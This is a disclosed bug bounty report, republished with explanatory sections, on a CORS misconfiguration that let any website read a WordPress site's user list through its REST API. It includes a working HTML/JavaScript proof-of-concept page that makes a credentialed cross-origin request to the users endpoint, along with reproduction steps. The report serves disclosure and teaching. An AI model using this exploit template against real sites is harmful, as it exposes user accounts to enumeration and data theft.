Skip to content
CORS Disclosed report Beginner

Bypassing CORS Misconfiguration Leads to Sensitive Exposure at https://███/

The WordPress REST API endpoint for users was accessible without authentication and the site's CORS policy allowed any origin to read it. An attacker could host a malicious page that fetches the user list (IDs, names, login names) from a victim's browser.

Binit Ghimire Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 4 months
  • Disclosed after 14 months

Summary: It's possible to get information about the users registered (such as: id, name, login name, etc.) without authentication in WordPress via API on https://██████████/.

Description: There exists a cross-origin resource sharing (CORS) misconfiguration vulnerability at https://█████/, allowing anyone from any third-party domain to perform two-way interaction with this domain. Generally, CORS policy is used to determine whether the content in a website can interact with another specific website or not and whether the another specific website can directly fetch the content from the original website or not.

CORS policy is implemented in web applications, by whitelisting/allowing company's other assets to fetch dynamic resource from the specific asset, and not allowing the rest of the third-party domains to access or fetch the content. However, the situation is different in case of this vulnerable domain, allowing anyone to fetch the resource.

Step-by-step Reproduction Instructions

Step 1. Visit https://████/wp-json/, and you will see that it displays user IDs, names, login usernames, etc. without requiring any form of authentication; Step 2. Now, it is time to craft a Proof-of-Concept exploit for the CORS misconfiguration vulnerability using JavaScript. For this purpose, you may use the following piece of code:

HTML
<html>
<body>
<center>
<button onclick="exploitCORS()">Fetch from the target!</button>
<hr size=1 width="80%">
<textarea id="fetchedResource" rows="10" cols="50" style="width:75%" placeholder="Click on the button to fetch resource!"></textarea>
</center>

<script>
function exploitCORS(){
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://████████/wp-json/wp/v2/users/',true);
    req.withCredentials = true;
    req.send();
}

function reqListener(){
    document.getElementById("fetchedResource").value = this.responseText;
}
</script>

</body>
</html>

Copy this piece of code, and place in a file with .html extension, and visit the file in your web browser!

Step 3. When you are viewing the exploit file in your browser, click on the button available there, and then it will fetch the resource from the target vulnerable website.

Product, Version, and Configuration (If applicable)

  • https://██████████/

Suggested Mitigation/Remediation Actions

To fix this vulnerability, you can use a whitelist of trusted domains rather than defining a wildcard or programmatically verifying the supplied origins.

Impact

By taking an advantage of this vulnerability, an attacker would be able to fetch contents from the vulnerable domain despite being in a third-party domain, not in the asset of the vulnerable domain. The contents that the attacker can fetch include the WordPress user IDs, usernames, and other information.

Despite the wp-json API endpoint being a public information by default, there exists CORS misconfiguration in this website, that allows any website to fetch resources from this particular vulnerable domain.

System Host(s)

█████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

  1. Visit https://█████████/wp-json/wp/v2/users/
  2. Use the exploit PoC code mentioned earlier!

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by whoisbinit. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the server reflected or allowed any Origin in its CORS response instead of using a whitelist of trusted domains.

Impact

An attacker could read WordPress user IDs, usernames and other information from a third-party domain, though the API endpoint is public by default.

What the attacker needed

Attacker hosts or opens the HTML page; browser sends cross-origin request

The fix

The CORS policy should use a whitelist of trusted domains rather than allowing any origin.

How it was found

  1. Visit the WordPress REST API root and observe user IDs, names and login usernames are shown without authentication.
  2. Create an HTML file containing JavaScript that sends a cross-origin request to the users endpoint with credentials.
  3. Open the HTML file in a browser and click the button to fetch the resource from the target site.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CORS is a browser rule that stops one website from reading data from another unless the other site explicitly allows it. Here the site allowed every website, so a page on an attacker's domain could read the public user list from the WordPress API. The user list was already public, so the main issue is the overly permissive CORS setting.

What is CORS?

A permissive cross-origin policy lets another site read responses with the user's credentials.

More by Binit Ghimire

View all

7 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

CORS misconfiguration

The lesson behind this report.

A permissive cross-origin policy lets another site read responses with the user's credentials.